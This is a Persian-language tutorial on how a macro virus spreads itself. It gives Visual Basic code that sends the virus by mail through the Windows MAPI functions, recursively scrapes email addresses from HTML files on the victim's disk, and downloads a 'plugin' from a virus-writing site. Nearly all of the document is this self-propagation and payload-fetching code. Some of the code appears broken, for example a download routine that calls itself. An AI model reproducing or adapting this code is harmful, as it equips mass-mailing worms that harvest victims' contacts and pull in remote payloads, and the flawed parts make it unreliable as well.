ماکرو ویروس1

استفاده از MAPI برای فرستادن میل:
در قسمت آخر آموزش شما با چگونگی انتشار ماکر ویروس خود آشنا میشوید.
از MAPI win32 api برای یافتن آدرس های ایمیل و ارسال نسخه های از خود استفاده میکند. ما ار تابع های MAPILogOn, MAPISendMail, MAPILogoff برای بر طرف کردن کار های خود استفاده میکنیم. این کد ها در پروسیژر در راستای ارسال میل ها با متن مورد نظر عمل میکنند.
Public Const MAPI_AB_NOMODIFY = &H400
Public Const MAPI_BCC = 3
Public Const MAPI_BODY_AS_FILE = &H200
Public Const MAPI_CC = 2
Public Const MAPI_DIALOG = &H8
Public Const MAPI_E_AMBIGUOUS_RECIPIENT = 21
Public Const MAPI_E_AMBIG_RECIP = MAPI_E_AMBIGUOUS_RECIPIENT
Public Const MAPI_E_ATTACHMENT_NOT_FOUND = 11
Public Const MAPI_E_ATTACHMENT_OPEN_FAILURE = 12
Public Const MAPI_E_ATTACHMENT_WRITE_FAILURE = 13
Public Const MAPI_E_BAD_RECIPTYPE = 15
Public Const MAPI_E_BLK_TOO_SMALL = 6
Public Const MAPI_E_DISK_FULL = 4
Public Const MAPI_E_FAILURE = 2
Public Const MAPI_E_INSUFFICIENT_MEMORY = 5
Public Const MAPI_E_INVALID_EDITFIELDS = 24
Public Const MAPI_E_INVALID_MESSAGE = 17
Public Const MAPI_E_INVALID_RECIPS = 25
Public Const MAPI_E_INVALID_SESSION = 19
Public Const MAPI_E_LOGIN_FAILURE = 3
Public Const MAPI_E_LOGON_FAILURE = MAPI_E_LOGIN_FAILURE
Public Const MAPI_E_MESSAGE_IN_USE = 22
Public Const MAPI_E_NETWORK_FAILURE = 23
Public Const MAPI_E_NO_MESSAGES = 16
Public Const MAPI_E_NOT_SUPPORTED = 26
Public Const MAPI_E_TEXT_TOO_LARGE = 18
Public Const MAPI_E_TOO_MANY_FILES = 9
Public Const MAPI_E_TOO_MANY_RECIPIENTS = 10
Public Const MAPI_E_TOO_MANY_SESSIONS = 8
Public Const MAPI_E_TYPE_NOT_SUPPORTED = 20
Public Const MAPI_E_UNKNOWN_RECIPIENT = 14
Public Const MAPI_ENVELOPE_ONLY = &H40
Public Const MAPI_FORCE_DOWNLOAD = &H1000
Public Const MAPI_GUARANTEE_FIFO = &H100
Public Const MAPI_LOGOFF_SHARED = &H1
Public Const MAPI_LOGOFF_UI = &H2
Public Const MAPI_LOGON_UI = &H1
Public Const MAPI_NEW_SESSION = &H2
Public Const MAPI_OLE = &H1
Public Const MAPI_OLE_STATIC = &H2
Public Const MAPI_ORIG = 0
Public Const MAPI_PEEK = &H80
Public Const MAPI_RECEIPT_REQUESTED = &H2
Public Const MAPI_SENT = &H4
Public Const MAPI_SUPPRESS_ATTACH = &H800
Public Const MAPI_TO = 1
Public Const MAPI_UNREAD = &H1
Public Const MAPI_UNREAD_ONLY = &H20
Public Const MAPI_USER_ABORT = 1
Public Const MAPI_E_USER_ABORT = MAPI_USER_ABORT
Public Const SUCCESS_SUCCESS = 0
'-- mapi message recipient object type
Public Type MapiRecip
Reserved As Long
RecipClass As Long
Name As String
Address As String
EIDSize As Long
EntryID As String
End Type
'-- mapi message file object type
Public Type MapiFile
Reserved As Long
Flags As Long
Position As Long
PathName As String
FileName As String
FileType As String
End Type
'-- mapi message object type
Public Type MAPIMessage
Reserved As Long
Subject As String
NoteText As String
MessageType As String
DateReceived As String
ConversationID As String
Flags As Long
RecipCount As Long
FileCount As Long
End Type
Public Declare Function MAPILogoff Lib "MAPI32.DLL" (ByVal Session&, _
ByVal UIParam&, ByVal Flags&, _
ByVal Reserved&) As Long
Public Declare Function MAPILogon Lib "MAPI32.DLL" (ByVal UIParam&,_
ByVal User$, ByVal Password$, _
ByVal Flags&, ByVal Reserved&,_
Session&) As Long
Public Declare Function MAPISendMail Lib "MAPI32.DLL" Alias _
"BMAPISendMail" (ByVal Session&,
ByVal _
UIParam&, Message As MAPIMessage, _
Recipient() As MapiRecip, File() As
MapiFile, _
ByVal Flags&, ByVal Reserved&) As
Long

' Mailsending procedure
' sTo - target adress (where the email should ne delivered)
' sSubject - email subject
' sMessage - message body text
Public Function api_SendMail(sTo As String, sSubject As String, sMessage As
String)
' * use api functions to send mail
'
On Error Goto suxx
Dim Rtn As Long '-- return value For api calls
Dim objMsg As MAPIMessage''-- message object
Dim objRec() As MapiRecip''-- recipient object array
Dim objFile() As MapiFile''-- file object array
Dim hMAPI As Long'-- session handle
ReDim objRec(1)
ReDim objFile(1)
'
'-=-=-=-=-=-
'file object
'-=-=-=-=-=-
'
' * default - not expecting to send a file
'
objFile.Reserved = 0
'
' * values not used
'
'objFile.Flags
'objFile.Position = -1
'objFile.PathName = "c:\mtx4ever.exe"
'objFile.FileName = 0
'objFile.FileType = 0
'
'-=-=-=-=-=-=-=-=
'recipient object
'-=-=-=-=-=-=-=-=
'
objRec(0).Reserved = 0
objRec(0).RecipClass = 1
objRec(0).Name = sTo
'
' * values not used for recipient
'
'objRec.Address
'objRec.EIDSize
'objRec.EntryID
'
'-=-=-=-=-=-=-=
'message object
'-=-=-=-=-=-=-=
'
objMsg.Reserved = 0
objMsg.Subject = sSubject ' mail subject
objMsg.RecipCount = 1
objMsg.FileCount = 0 ' how many files are in message
objMsg.NoteText = sMessage ' mail message
'
' * values not used for message
'
'objMsg.MessageType
'objMsg.DateReceived
'objMsg.ConversationID
'objMsg.Flags
' We will create a session for e-mail sending
' using standart windows password for sending emails.
' it's possible not to use MS Exchange Settings, and simply put 0 to that
option
Rtn = MAPILogon(0, "MS Exchange Settings", "", MAPI_LOGON_UI, 0, hMAPI)
' * send mail message through MAPI
Rtn = MAPISendMail(hMAPI, 0, objMsg, objRec, objFile, 0, MAPI_DIALOG)
' * logoff MAPI application
Rtn = MAPILogoff(hMAPI, 0, 0, 0)
' * close this function
Exit Function
suxx:
Msgbox "MOD_MAIL.api_SendMail()"
End Function

یک موتور جستجو را بو سیله ی تابع های ای پی آی ایجاد نموده و آن آدرس ها را یافته و آنها را ذخیره می نماید . البته می توان آدرس هایی زیادی را در مسیر زیر یافت:
C:\windows\Temporary Internet Files

مدل باس
Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" _
(ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" _
Alias "FindNextFileA" _
(ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" _
(ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, _
InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Function FindFilesAPI(path As String, _
SearchStr As String, _
FileCount As Integer, _
DirCount As Integer)
Dim FileName As String ' variable holding filename
Dim DirName As String ' variable holding subdir name
Dim dirNames() As String ' filenames buffer
Dim nDir As Integer ' number of directories in this path
Dim i As Integer ' cycle counter
Dim hSearch As Long ' search descriptor
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) <> "\" Then path = path & "\"
' subdirectories search
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName <> ".") And (DirName <> "..") Then
' checking directory
If GetFileAttributes(path & DirName) And _
FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD)
Loop
Cont = FindClose(hSearch)
End If
hSearch = FindFirstFile(path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName <> ".") And (FileName <> "..") Then
FindFilesAPI = FindFilesAPI + _
(WFD.nFileSizeHigh * MAXDWORD) + _
WFD.nFileSizeLow
FileCount = FileCount + 1
'List1.AddItem path & FileName
ggg = path & FileName
MsgBox ggg
Call try(ggg)
End If
Cont = FindNextFile(hSearch, WFD) ' Get next file
Wend
Cont = FindClose(hSearch)
End If
' if there are subdirectories
If nDir > 0 Then
' perform recursive search
For i = 0 To nDir - 1
FindFilesAPI = FindFilesAPI + _
FindFilesAPI(path & dirNames(i) _
& "\", SearchStr, FileCount, DirCount)
Next i
End If
End Function
Private Sub Search()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Screen.MousePointer = vbHourglass
'SearchPath = directory name
SearchPath = "C:\My Documents"
' FindStr = filename we are searching for
FindStr = "*.*htm"
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Screen.MousePointer = vbDefault
End
End Sub
Private Sub try(fName)
On Error Resume Next
WindowSize = 5000
seekPoint = 1
Open fName For Binary As 1
Do While seekPoint < LOF(1)
VarString$ = String$(WindowSize, " ")
Get #1, seekPoint, VarString$
seekPoint = seekPoint + WindowSize - 50
AsIs = search_(VarString$)
Loop
Close #1
End Sub
Function mid_(a$, i, j1)
On Error Resume Next
s = 0
If i > 0 And (i + j1 - 1) <= Len(a$) Then
b$ = Mid$(a$, i, j1)
If b$ >= "a" And b$ <= "z" Then s = 1
If b$ >= "A" And b$ <= "Z" Then s = 1
If b$ >= "0" And b$ <= "9" Then s = 1
If b$ = "-" Or b$ = "_" Or b$ = "+" Or b$ = "." Or b$ = "@" Then s = 1
End If
mid_ = s
End Function
Function search_(a$)
On Error Resume Next
s$ = ""
For i = 1 To Len(a$)
If Mid$(a$, i, 1) = "@" Then
name_ = "": j = i
Do
j = j - 1
s = mid_(a$, j, 1)
Loop While s = 1
Do
j = j + 1
s = mid_(a$, j, 1)
If s = 1 Then name_ = name_ + Mid$(a$, j, 1)
Loop While s = 1
s = 0: k = 0
For j2 = 1 To Len(name_)
If Mid$(name_, j2, 1) = "@" Then k = k + 1
If Mid$(name_, j2, 1) = "." Then s = 1
Next
If k = 1 And s = 1 And Len(name_) > 5 And Left$(name_, 1) <> "@" And
Right$(name_, 1) <> "@" Then MsgBox name_
'Then UserForm1.addr.AddItem Name_
End If
If Mid$(a$, i, 1) <> "@" Then s$ = s$ + Mid$(a$, i, 1) Else s$ = s$ + " "
Next
search_ = s$
End Function
در پروسیژر فوق یک فایل از یک URL دانلود میگردد.
این هم یک روش فشرده تر شده برای برای کسانی که از کد های زیاد متنفر هستند.
DownLoadPlugin "URL of the plugin", "name of the plugin"
Code & Exemple:
Private Sub Download()
DownLoadPlugin "http://matrixvx.org", "plugin.plg"
End Sub

Public Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As
String) As Long
Public Sub DownLoadPlugin(urlz As String, plugin As String)
Dim DL As Long
On Error GoTo errorz
If urlz$ = "" Then urlz$ = strUrl$
If strUrl$ = "" Then strUrl$ = urlz$
If Left(strUrl$, 4) <> "http" Then strUrl$ = "http://" & strUrl$
If Right$(strUrl$, 1) <> "/" Then strUrl$ = strUrl$ & "/"
If Left$(plugin$, 1) = "/" Then plugin = Mid$(plugin$, 2)
DL& = DownLoadPlugin(StrConv(strUrl$ & plugin$, vbUnicode))
Exit Sub
errorz:
MsgBox "Can't download the fucking file" & urlz & plugin$ & ".",
vbCritical,
"Oshibka - ERROR !!!!"
End Sub